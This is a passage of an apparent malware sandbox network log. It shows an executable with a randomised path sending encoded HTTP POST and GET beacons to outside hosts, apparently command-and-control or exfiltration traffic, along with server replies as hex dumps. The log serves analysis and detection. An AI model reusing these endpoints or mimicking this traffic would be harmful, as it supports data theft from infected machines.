Jul 3, 2024 17:58:03.042573929 CEST	1236	IN	Data Raw: 8f d2 e8 20 88 33 10 17 45 54 f8 d3 59 74 75 f8 e1 2c 44 55 38 10 30 7b 8e 32 67 69 3c 29 96 21 0d d9 2b b4 92 5c 7a 4f bd 80 dd 4a b3 68 ba fa 30 9d 25 21 8c 38 fa fc 58 d9 75 ca c5 86 2d ab 94 cd bb e2 63 6c ce 80 84 08 80 ad 8d b3 71 a8 5b e7 Data Ascii: 3ETYtu,DU80{2gi<)!+\zOJh0%!8Xu-clq[/%GEU?m~^*32K)d(rqrHF C;~0v!&JN<xg+kx=Nh/ [X!`\~++2M?am!e5Aa6
Jul 3, 2024 17:58:03.042586088 CEST	1236	IN	Data Raw: b9 ea 9a 10 be 0a 47 08 a3 a4 19 91 b9 81 13 96 72 30 e4 75 66 38 c9 94 2c 0a 2f 4d 3f 34 4d 74 98 c4 8d 30 6a 7e 44 47 62 c6 08 bd 1a e1 64 78 d5 ac a2 9c d5 8b 22 83 f1 3a 4d 89 a5 ca 1b 26 17 ab 10 c5 a0 12 9c 1a 94 7b 6a 9a d3 21 6c 69 6b 99 Data Ascii: Gr0uf8,/M?4Mt0j~DGbdx":M&{j!lik? @==Y`$"E@!{U>\|cTE-Ub'Lrb[YI8{VlcEa'hWOB&[vpb8T+'ttlVE[[[GY<X
Jul 3, 2024 17:58:03.042597055 CEST	1236	IN	Data Raw: 32 d2 7c a0 9b bf dd de cc 1e 7b 4b 70 4a 91 f7 7e 88 0c 08 11 ce 5f e7 53 f1 89 b6 cb ec ee ee 7b 50 f1 94 75 6f 9c 00 5a 71 4a 2a 7b 38 37 a6 2c d5 98 a6 24 bb ed fb 23 a2 f1 f9 6c 32 5c 9d cf 87 e3 e9 19 96 05 6f 67 58 73 b0 37 d0 6a 9b f2 3c Data Ascii: 2\|{KpJ~_S{PuoZqJ*{87,$#l2\ogXs7j<BJi^_m[w+pkhH -C=Scn@w\`&wM[@qkK_v+he+:CWKvw/cGZ^5kbY
Jul 3, 2024 17:58:03.042607069 CEST	776	IN	Data Raw: b8 8f 1e 36 3b 47 8f d5 a4 9e 52 de 64 79 82 20 70 b9 65 f9 2e 7b 3e f9 7e a0 84 1a 50 b2 6e e4 15 6d de 69 73 c4 34 aa f7 5f 69 df 9b 73 47 84 97 11 a2 c0 22 de e9 a1 07 ea 7b 69 0b 1c 5b f7 f7 b4 c9 29 83 9a 86 3e 9f 0a fa 1d 06 c5 fd dc 6d 38 Data Ascii: 6;GRdy pe.{>~Pnmis4_isG"{i[)>m8w-pw[h1/7NpFxDn;^]!QhK]AFWT ijO{~WpyRHMLQC,R8uM;1kqM=S8?{1W?mMrN
Jul 3, 2024 17:58:03.042618036 CEST	1236	IN	Data Raw: 8b c3 64 40 63 e6 4d 12 30 12 85 57 7e e6 f3 93 62 83 fa 32 45 85 49 69 e8 ab 64 f5 db ff 5e 78 93 c8 fb 26 1c 47 23 04 7f 78 18 21 36 6b c6 60 74 ba c9 f8 02 f1 04 d4 95 3f 1d a1 cd 07 7c d3 1e 5f 21 60 2e 0f f8 ec 01 b3 34 be c5 4f 21 fe 81 1a Data Ascii: d@cM0W~b2EIid^x&G#x!6k`t?\|_!`.4O!UTB43Qr`uW].!n#m%d9[{AGW^LhT'3J>X<zl8Oi0FN=B')q}o3:EU`];:V
Jul 3, 2024 17:58:03.043397903 CEST	1236	IN	Data Raw: 74 e6 ad 7e fb 5f ab 35 6c 62 10 77 a1 67 e9 61 45 41 fe 94 46 88 61 a2 8c 11 92 56 88 ba b6 0c 36 1c b1 21 b7 91 e1 02 a3 58 d8 35 1b 6b 32 a6 68 15 e3 d8 3b 3c cf a2 19 5a 4c 1b ef b7 2e ab e2 1a 97 c4 bb 6a 32 35 8d 1e b5 e9 af 06 c0 b2 a9 b0 Data Ascii: t~_5lbwgaEAFaV6!X5k2h;<ZL.j25"i<RecM~_59G~xIG'kxn+KNKx/V0;,,VgCF&v2q8car{#scjEeF@"Ti74CYhSz@neft6A
Jul 3, 2024 17:58:03.043411016 CEST	1236	IN	Data Raw: 85 40 88 ef 5e 3c fb f1 fb af 9f bd fe 77 26 58 92 48 33 04 26 86 de 57 3a 06 04 fe 14 22 6f b5 ef 91 67 c8 b4 6f 96 52 65 24 ef ae fe 42 c9 3f 20 f5 6f 58 83 f3 ed da 4d f8 08 e5 1a 93 0f ea 2c aa 83 87 4f ae bd 20 9a f9 e3 59 46 3e 28 c9 0f 4a Data Ascii: @^<w&XH3&W:"ogoRe$B? oXM,O YF>(J8"g%5StqhPcnB#[g#H]7eAP%n^]Hwq3b7W(/BUXuJvMvJTRK!^a5..3S^bm!Lacc[0
Jul 3, 2024 17:58:03.047848940 CEST	1236	IN	Data Raw: a0 d2 00 4b 2e 47 f4 57 b2 5a cd 1e 7d 2e 83 4b 75 b4 18 54 3a 89 36 77 65 4f 8d a2 7e 8d 52 c6 fa 9a 65 5b 17 b4 ac b2 c6 66 fc ea 45 ba 7d 6c 30 82 93 20 68 9c f7 84 8b 36 4c 19 3e 4d 52 16 33 db 28 b2 c9 59 37 8a 14 16 7c f5 60 b5 16 40 83 d5 Data Ascii: K.GWZ}.KuT:6weO~Re[fE}l0 h6L>MR3(Y7\|`@k)fw-%5I>q;8'tD~_imNI{@smhRpsdn!]Dxm.\|hqf<U}f8SC01Q>5v`HH{rRbGQ![JTX;-p

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49751	217.160.0.84	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:58:04.577734947 CEST	1669	OUT	POST /s24g/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.architect-usschool.com Origin: http://www.architect-usschool.com Referer: http://www.architect-usschool.com/s24g/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 31 70 67 46 4d 32 42 67 32 6f 53 6a 4b 44 49 52 48 36 30 72 33 73 6e 39 49 77 69 64 42 53 32 64 6a 76 5a 44 79 6c 67 55 65 4e 39 50 5a 67 54 5a 35 65 76 35 55 68 36 51 71 77 52 31 32 62 44 4d 79 38 42 70 4f 54 33 75 56 64 4a 5a 6b 46 51 62 72 2f 46 2f 65 53 45 50 4d 33 67 67 6c 37 58 56 2f 45 36 4e 6a 50 63 4b 32 7a 45 73 53 58 33 35 6b 4c 59 4f 4d 39 54 6d 34 39 45 59 51 41 77 71 45 4b 64 58 53 6d 71 6c 5a 79 48 33 54 30 66 7a 50 43 34 56 62 65 48 73 6e 62 76 39 4d 65 75 75 58 30 41 52 65 42 52 42 4b 47 35 39 57 4d 5a 31 67 79 4f 52 37 2b 34 47 34 43 6c 66 43 43 38 68 7a 4a 4b 4e 70 38 56 32 4e 75 41 6d 37 34 68 59 56 4f 55 62 37 67 47 43 69 75 64 66 76 30 65 71 6c 4c 68 6a 2b 79 42 4e 65 49 37 44 45 31 67 37 50 67 55 32 55 45 42 61 66 6f 38 4b 58 4f 4e 77 5a 35 79 74 7a 74 33 43 6f 43 41 57 6f 36 4c 30 2f 50 50 42 42 42 39 71 54 4b 47 30 6a 69 77 64 57 6e 2b 35 44 39 61 6a 51 31 53 7a 72 6e 46 76 42 6a 79 68 56 2b 56 31 5a 2f 45 4e 46 4c 33 62 6f 33 44 30 66 50 39 35 6e [TRUNCATED] Data Ascii: OdjTHtuX=1pgFM2Bg2oSjKDIRH60r3sn9IwidBS2djvZDylgUeN9PZgTZ5ev5Uh6QqwR12bDMy8BpOT3uVdJZkFQbr/F/eSEPM3ggl7XV/E6NjPcK2zEsSX35kLYOM9Tm49EYQAwqEKdXSmqlZyH3T0fzPC4VbeHsnbv9MeuuX0AReBRBKG59WMZ1gyOR7+4G4ClfCC8hzJKNp8V2NuAm74hYVOUb7gGCiudfv0eqlLhj+yBNeI7DE1g7PgU2UEBafo8KXONwZ5ytzt3CoCAWo6L0/PPBBB9qTKG0jiwdWn+5D9ajQ1SzrnFvBjyhV+V1Z/ENFL3bo3D0fP95n/H+RwsKXFFdl1WRPxv+5J/RsNv4GSSkl2Y7nfYVGqWLqjxOGpZfwuTqJcGR11jxm86WjWsSDZPwH6cV0nLGpY6fywPW7Dc4rUaARJTIhKdakYK6JNXC7ud+i4TF9Mgx0C51ZSsj1+1F3104mmZKqiOL4koEImQ9QzI4VSZ3mQLAjdSWekechaEthUdSosBvi4iG8QKZ0QG6IkYDegs2Nj9Uxh83+PgUP9DtO2sVZ07B+grO4lIyMrMM2STAb04srcs9rlY3vegBIsQkSqQGP8vDpePd+tzYf07VtnCyzdfsHSpTTsoDb83Of5S2J6z/2iTi2qEDMyHyk6N8lof4W6QYZIq8wEyeKu/0uxFBoRDaYoXLbmRS8cE/zR0F6UghXW/dLzzPH0xnGdqtnew9I5Gw/jZ3OP2idxfNul5D3lNsNaxoiUyvZ6lCrMhqEbWE+KOTJAjMQZ8mIe2ch2GWPKTG/AG3eiXBVv4phk9Oo/06AoN7FHT+kHL7boOSH0jf51VnjQ5bcwxpJRljDvSrAcPMZ4WN4CR7pzhos7Fwc+QmwR2+E+kf2yUJJkpFsi1Mr2BOR1YFXWR3p7WfnaqwIurL9NihjCpg/bMFHxeKRA2JTugXK8l9KbidC5TaW/cJlh5cBg4GIo9tSvEEA5ZgbaI9Qf+kQNZoSOS [TRUNCATED]
Jul 3, 2024 17:58:05.768886089 CEST	1236	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Date: Wed, 03 Jul 2024 15:58:05 GMT Server: Apache X-Powered-By: PHP/8.2.20 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://architect-usschool.com/wp-json/>; rel="https://api.w.org/" Content-Encoding: gzip Data Raw: 35 34 30 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed bd 5b 97 db 46 b2 2e f8 2c ff 0a 98 5a 2d 57 6d 13 e0 9d ac 2a a9 d4 23 cb 72 6f cf b1 2c 1f 4b ee 9e 3d 96 17 17 48 82 55 90 48 82 0d 90 75 b1 5a 3f e6 3c 9e 87 f3 b0 d7 79 9b c7 f1 1f 9b 2f 22 32 13 09 30 41 b2 2e b2 bd d7 1a 5d aa 48 20 2f 91 91 91 71 cb c8 c8 27 9f 4f 92 f1 ea 7a 19 79 e7 ab f9 ec e9 67 4f e8 97 37 0b 17 67 a7 b5 68 e1 ff f4 ba 46 cf a2 70 f2 f4 b3 07 4f e6 d1 2a f4 c6 e7 61 9a 45 ab d3 da 4f 6f be f1 8f f0 fa 81 7a b1 08 e7 d1 69 ed 22 8e 2e 97 49 ba aa 79 e3 64 b1 8a 16 28 78 19 4f 56 e7 a7 93 e8 22 1e 47 3e 7f a9 7b f1 22 5e c5 e1 cc cf c6 e1 2c 3a 6d 51 33 4f 66 f1 e2 bd 97 46 b3 d3 da 32 4d a6 f1 2c aa 79 e7 69 34 3d ad 9d af 56 cb 93 46 e3 6c be 3c 0b 92 f4 ac 71 35 5d 34 5a 52 67 15 af 66 d1 d3 1f c2 b3 c8 5b 24 2b 6f 9a ac 17 13 ef d1 c3 a3 76 ab f5 d8 7b 96 8e cf e3 55 34 5e 61 1c 4f 1a 52 f4 33 19 05 03 fb 45 9a 8c 92 55 f6 85 01 f5 8b 45 12 2f 26 d1 55 1d 8d 4d 93 d9 2c b9 fc c2 6b 00 01 06 b2 2f 26 8b cc 5f 02 a8 68 [TRUNCATED] Data Ascii: 5402[F.,Z-Wm#ro,K=HUHuZ?<y/"20A.]H /q'OzygO7ghFpOaEOozi".Iyd(xOV"G>{"^,:mQ3OfF2M,yi4=VFl<q5]4ZRgf[$+ov{U4^aOR3EUE/&UM,k/&_h5>BX(.yd_:YQVQW@Mi-\.g8\fW^NkPGiu&&%%,'nLQQ+x bxRXXEW"yO><g2^.y.~V,NQE?UvDVotm4zonoQdgk5~!5qT;Pl3^=oK?^gW";](=W1<<Zq~UE(EBbLdw.KY=z{wzILMV\|yr.apYehI1AR?_>V)/^?%sG}hXHj#A{v(>;_=F={=Xx1n
Jul 3, 2024 17:58:05.768913031 CEST	224	IN	Data Raw: 75 4a 50 fe 14 2f 56 9d f6 b3 34 0d af 0f a2 e0 0c 30 11 79 00 f6 70 9f a6 83 09 0a 1e d6 d3 53 d4 bd 35 4c 0b 86 a9 7e 5f d0 1c 3e 4e a3 d5 3a 5d 78 ab 20 02 11 5c 1f 68 04 12 fa 0e 3f a8 97 d1 e9 e9 69 fa f3 ea 97 8f 87 39 82 d7 1a c1 d9 65 4c Data Ascii: uJP/V40ypS5L~_>N:]x \h?i9eLG1(6gUqBQgiz5ofsp O@Fbuy44u'B_hD@=*51vQbmg}VU[tTzJOi>\|S5
Jul 3, 2024 17:58:05.768925905 CEST	1236	IN	Data Raw: 52 82 39 9a b6 f0 53 cf 07 21 97 67 02 4f e4 2d 8d 57 bf 35 63 a9 aa 28 68 75 55 3c fc a8 7a 6f e5 14 33 d5 14 43 0b 2a 3d ad 41 2e 47 d3 78 01 81 f4 f9 29 89 b3 64 ea fd 23 49 df 47 e9 df 66 c9 28 9c bd 1e 27 cb e8 d1 a3 2c 9a 4d a1 1b 80 57 2c Data Ascii: R9S!gO-W5c(huU<zo3C*=A.Gx)d#IGf(',MW,"j:s^f5O\^""5Yzx~N:{=?\b4g'7?0r_!!_WV)i/`@ACCI!H?$?Gz&ExZ+pWA
Jul 3, 2024 17:58:05.768969059 CEST	1236	IN	Data Raw: 64 dc 4b 98 13 60 82 50 a0 4e 85 07 68 76 51 66 11 01 38 51 30 0f 97 22 87 14 7b cc d9 cd 78 16 c2 a1 33 f6 a1 f0 cc 23 61 27 3b 64 d1 1e 5e 28 f7 88 3e 8c 93 59 92 9e 3c 9c 4e a7 8f 73 16 0f de c6 4f 3b ed ce a0 33 7e 2c c2 ca 07 97 8b d7 d9 c9 Data Ascii: dK`PNhvQf8Q0"{x3#a';d^(>Y<NsO;3~,1,)bI2?vC-#>/=~?jN<{LF'E9_\|A=yD9zdr/X!OMYf\|.Ppg>ht4_e0-43&p7z:
Jul 3, 2024 17:58:05.768985033 CEST	1236	IN	Data Raw: 6d ce 21 87 65 de dc 35 41 a6 ff a6 96 00 b9 61 36 20 20 7e 90 43 40 df dc 65 ca ed 68 ee 63 3c a2 30 e4 d7 f3 45 56 60 24 86 1d 31 2f d8 a3 8a c5 9d dc 55 68 e3 cd c7 a8 e1 a3 5f 45 ee be 5a 10 5d 36 ef 33 10 56 d5 b5 3a d5 75 83 f3 30 13 07 81 Data Ascii: m!e5Aa6 ~C@ehc<0EV`$1/Uh_EZ]63V:u0x=3;gsjgs\E)hKdg{e;2R v>U\CR5G-p#-1{[hUD9SRvQR";OZ-?m9AM;*nDR$#
Jul 3, 2024 17:58:05.769282103 CEST	672	IN	Data Raw: b5 0c 17 9a db 6c c1 56 45 5b 5b d7 5b b1 8e 47 59 3c 58 81 41 64 f7 32 41 0e 94 6d 78 28 d4 65 48 f3 da cb d9 35 50 51 f8 ce ac 6f 27 42 0a 83 b5 68 cc a4 31 11 d6 ad f4 2a c5 b3 ed 6d 62 f0 20 66 df 2e b1 01 ea 2e 00 1d 8c ae 49 fd 42 94 ca 79 Data Ascii: lVE[[[GY<XAd2Amx(eH5PQo'Bh1*mb f..IBy>4JV M=\r#mwo- )!f)A!Quo#"EZspU!"xV]Y!4M^A@QVRM-,4z$U9y_Hf5g;@/:)
Jul 3, 2024 17:58:05.769375086 CEST	1236	IN	Data Raw: e4 ca a6 22 85 3b cc 11 73 cb fd 17 6b 3e 59 1c 11 ac 7d 54 1b a3 55 12 70 a7 0d 83 03 a9 29 ce ef ae c7 63 f8 4c 78 95 c8 13 5a 83 44 a7 37 30 6b a5 22 0e af 2d e0 cf e1 a6 04 aa bd 75 97 2d 13 b3 a9 53 10 70 a2 1e cb 92 11 2b 8b 43 3a 6e b0 4c Data Ascii: ";sk>Y}TUp)cLxZD70k"-u-Sp+C:nL-wO8a8>j8R:$`8W2KZHB]{C92['7dy@Hk}_cSaSUeBH2-i:0HtHZ`_F;;
Jul 3, 2024 17:58:05.769618034 CEST	1236	IN	Data Raw: b5 93 fb 18 be 05 5c d9 97 2c 4e 10 80 8c 03 28 ab e8 7e 48 8a 99 85 9a c9 7b 12 04 bb 67 ee f7 a1 4f 35 55 bf 6b 67 f7 25 4c 77 e3 f0 ee 3d 21 88 c6 27 03 ac a0 d5 ea 87 86 1b 87 bb 45 87 ad 15 4f 28 9a 03 37 1b e2 38 57 a1 dd db 5b 12 7f 4c ff Data Ascii: \,N(~H{gO5Ukg%Lw=!'EO(78W[Ln-W$H#EcRvC>C}R23lAiuQ`r?!ULj#5LZ)O&SxIb!^aB9eJIN~O%N)p56\3:
Jul 3, 2024 17:58:05.769634008 CEST	1236	IN	Data Raw: 75 57 2a 5d ab 9e e0 2e 21 6e b3 23 e5 fd c1 6d 25 f6 80 c2 13 95 03 64 e3 39 5b fa 7b 41 d7 1d f4 8f 47 1d 57 9f 5e 4c 0d 68 54 f0 fd 14 27 de 91 82 0f 33 f9 1c c9 4a e3 c4 a3 1c 3e 58 3c 88 da c0 7a c1 6c c8 8e 38 4f 69 30 46 e2 1c 4e 3d 42 27 Data Ascii: uW].!n#m%d9[{AGW^LhT'3J>X<zl8Oi0FN=B')q}o3:EU`];:VDmqokg?>W/_fxu$^FD&1!rL}~.9F:\.8Mh\q_XCU
Jul 3, 2024 17:58:05.769649029 CEST	1236	IN	Data Raw: 6e a3 2b 98 a9 4b e2 4e d6 4b 9a 78 d4 d2 2f 09 19 9b 56 30 e8 e7 d9 3b f8 ef 88 93 d0 e5 c1 2c b7 2c 56 92 83 06 67 1e 43 c6 82 d7 ea 46 c1 e0 ad 26 76 e7 1a 32 d2 d6 71 c4 17 fb 0e 38 63 61 72 7b 02 14 23 99 c8 73 63 af 6a 45 04 02 14 c9 65 46 Data Ascii: n+KNKx/V0;,,VgCF&v2q8car{#scjEeF@"Ti74CYhSz@neft6AV-=EFsx#>TNT\|K-eiRxAo/\|6l;Ztg&\tG(-6Y{+K6>;RA;zn/fV8
Jul 3, 2024 17:58:05.773835897 CEST	1236	IN	Data Raw: 23 86 03 48 5d 37 65 e3 41 9e d2 e5 50 85 a7 f9 25 01 16 ce 86 12 6e b2 5e a9 1c d6 99 da 5d d2 17 0a 48 92 77 71 33 fd 62 37 57 ae 28 f5 a4 b8 a4 84 2f 14 f7 42 c7 55 58 75 cf 4a 76 4d dc 76 b8 4a 54 52 4b 8a 21 b0 5e d2 b5 61 88 35 8d 2e f8 0e Data Ascii: #H]7eAP%n^]Hwq3b7W(/BUXuJvMvJTRK!^a5..3S^bm!Lacc[0#ibsstk1"=}cP68"b)aoF@4@u$Xw6zZ!/+.cKAi1@$ElI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49752	217.160.0.84	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:58:07.119601965 CEST	355	OUT	GET /s24g/?Y6vp=3PLd8j&OdjTHtuX=4rIlPCx72NWCI0QJXJwD+tzjHhGgLlyDkrck6XhMS8VcXSbKvpDPBj6V0V8nuLzRy/FwKWDUEv1cw0ImnsIqFnkVImpc8YyZ7gWSicgk/ENTSAvixeUyT+Tq9osdZT4ae7dFHSM= HTTP/1.1 Accept: / Accept-Language: en-US,en;q=0.9 Connection: close Host: www.architect-usschool.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
Jul 3, 2024 17:58:07.989995003 CEST	505	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Date: Wed, 03 Jul 2024 15:58:07 GMT Server: Apache X-Powered-By: PHP/8.2.20 Expires: Wed, 03 Jul 2024 16:58:07 GMT Cache-Control: max-age=3600 X-Redirect-By: WordPress Location: http://architect-usschool.com/s24g/?Y6vp=3PLd8j&OdjTHtuX=4rIlPCx72NWCI0QJXJwD+tzjHhGgLlyDkrck6XhMS8VcXSbKvpDPBj6V0V8nuLzRy/FwKWDUEv1cw0ImnsIqFnkVImpc8YyZ7gWSicgk/ENTSAvixeUyT+Tq9osdZT4ae7dFHSM= Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49754	91.195.240.19	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:58:13.072691917 CEST	614	OUT	POST /3jr0/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 213 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.easybackpage.net Origin: http://www.easybackpage.net Referer: http://www.easybackpage.net/3jr0/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 50 34 50 37 4f 42 70 4c 62 35 6d 6b 30 39 41 67 4f 71 4e 57 56 35 79 46 56 6b 47 33 77 69 77 36 64 43 2f 59 33 39 63 62 5a 35 52 76 41 55 6b 4a 32 52 69 76 6b 72 42 4f 6a 66 4e 50 70 4f 46 53 6c 69 31 33 66 38 72 4a 56 47 55 34 53 74 7a 78 5a 54 33 42 71 62 7a 53 45 34 36 61 68 32 6b 6d 73 4a 71 6e 32 48 75 41 6e 2b 41 4e 77 49 6a 4f 56 6d 67 55 61 53 78 2f 31 51 41 44 4c 63 71 71 66 38 45 5a 6a 48 50 45 5a 38 6c 49 78 62 47 4c 4a 5a 54 4c 37 64 5a 54 50 4e 44 62 35 46 64 4d 70 38 62 54 76 31 63 47 42 6a 52 4f 4c 56 6d 4a 77 46 37 65 62 38 76 76 57 53 76 51 34 6c 62 31 49 4a 37 69 43 52 52 62 35 49 6e 39 Data Ascii: OdjTHtuX=P4P7OBpLb5mk09AgOqNWV5yFVkG3wiw6dC/Y39cbZ5RvAUkJ2RivkrBOjfNPpOFSli13f8rJVGU4StzxZT3BqbzSE46ah2kmsJqn2HuAn+ANwIjOVmgUaSx/1QADLcqqf8EZjHPEZ8lIxbGLJZTL7dZTPNDb5FdMp8bTv1cGBjROLVmJwF7eb8vvWSvQ4lb1IJ7iCRRb5In9
Jul 3, 2024 17:58:13.707123041 CEST	305	IN	HTTP/1.1 405 Not Allowed date: Wed, 03 Jul 2024 15:58:13 GMT content-type: text/html content-length: 154 server: Parking/1.0 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49755	91.195.240.19	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:58:15.607995033 CEST	638	OUT	POST /3jr0/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 237 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.easybackpage.net Origin: http://www.easybackpage.net Referer: http://www.easybackpage.net/3jr0/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 50 34 50 37 4f 42 70 4c 62 35 6d 6b 31 5a 38 67 4e 4e 52 57 54 5a 79 61 57 6b 47 33 69 69 77 2b 64 44 44 59 33 38 59 4c 4d 66 42 76 41 78 67 4a 33 51 69 76 6e 72 42 4f 37 76 4e 4b 74 4f 46 62 6c 69 35 4a 66 35 54 4a 56 47 41 34 53 6f 50 78 5a 68 66 43 72 4c 7a 48 66 49 36 63 2f 47 6b 6d 73 4a 71 6e 32 48 36 6d 6e 2b 49 4e 78 34 7a 4f 61 6e 67 58 55 79 78 67 2f 77 41 44 42 4d 71 75 66 38 46 2b 6a 47 6a 2b 5a 35 68 49 78 66 43 4c 4a 73 2f 4d 78 64 5a 64 42 74 43 71 78 51 45 56 74 2f 32 33 70 33 45 2f 43 68 5a 2f 48 44 6e 54 73 32 37 39 4a 73 50 74 57 51 33 69 34 46 62 66 4b 4a 44 69 51 47 64 38 32 38 43 65 75 75 70 33 4d 30 67 34 74 35 74 5a 72 39 5a 4b 49 4c 51 58 70 67 3d 3d Data Ascii: OdjTHtuX=P4P7OBpLb5mk1Z8gNNRWTZyaWkG3iiw+dDDY38YLMfBvAxgJ3QivnrBO7vNKtOFbli5Jf5TJVGA4SoPxZhfCrLzHfI6c/GkmsJqn2H6mn+INx4zOangXUyxg/wADBMquf8F+jGj+Z5hIxfCLJs/MxdZdBtCqxQEVt/23p3E/ChZ/HDnTs279JsPtWQ3i4FbfKJDiQGd828Ceuup3M0g4t5tZr9ZKILQXpg==
Jul 3, 2024 17:58:16.257267952 CEST	305	IN	HTTP/1.1 405 Not Allowed date: Wed, 03 Jul 2024 15:58:16 GMT content-type: text/html content-length: 154 server: Parking/1.0 connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49756	91.195.240.19	80	6800	C:\Program Files (x86)\odwsgngViRYKyJqZXdTIjyeOqeeFpWdVedwgxEUjBOUgmNVeyCCwHnPIhqdBxblppHmpjV\EUSOiCcoIEEJJ.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:58:18.133800030 CEST	1651	OUT	POST /3jr0/ HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cache-Control: max-age=0 Content-Length: 1249 Content-Type: application/x-www-form-urlencoded Connection: close Host: www.easybackpage.net Origin: http://www.easybackpage.net Referer: http://www.easybackpage.net/3jr0/ User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko Data Raw: 4f 64 6a 54 48 74 75 58 3d 50 34 50 37 4f 42 70 4c 62 35 6d 6b 31 5a 38 67 4e 4e 52 57 54 5a 79 61 57 6b 47 33 69 69 77 2b 64 44 44 59 33 38 59 4c 4d 66 4a 76 41 6a 6f 4a 32 7a 61 76 6d 72 42 4f 32 50 4e 4c 74 4f 45 5a 6c 69 51 4f 66 35 76 7a 56 45 34 34 52 4f 37 78 49 6c 4c 43 6c 4c 7a 48 58 6f 36 64 68 32 6b 4a 73 4a 37 73 32 48 71 6d 6e 2b 49 4e 78 39 33 4f 64 32 67 58 5a 53 78 2f 31 51 41 78 4c 63 71 53 66 38 74 45 6a 47 58 75 5a 4b 5a 49 77 37 6d 4c 50 4f 6e 4d 73 4e 59 37 47 74 43 79 78 51 41 77 74 2f 71 56 70 32 77 56 43 68 74 2f 46 45 69 56 78 56 4c 34 65 62 6e 52 57 67 6e 34 35 56 66 57 43 4c 44 6a 57 48 67 50 31 64 47 73 32 4c 74 79 43 6b 56 2f 6b 61 70 51 6f 4a 4e 45 43 49 6c 46 70 70 58 55 45 4e 48 72 49 6d 35 61 45 42 71 62 53 2f 75 70 77 41 57 52 74 5a 2b 37 73 57 6b 4e 6f 47 75 4a 6c 7a 78 67 43 67 65 57 2b 73 61 52 55 65 52 69 37 72 2b 74 48 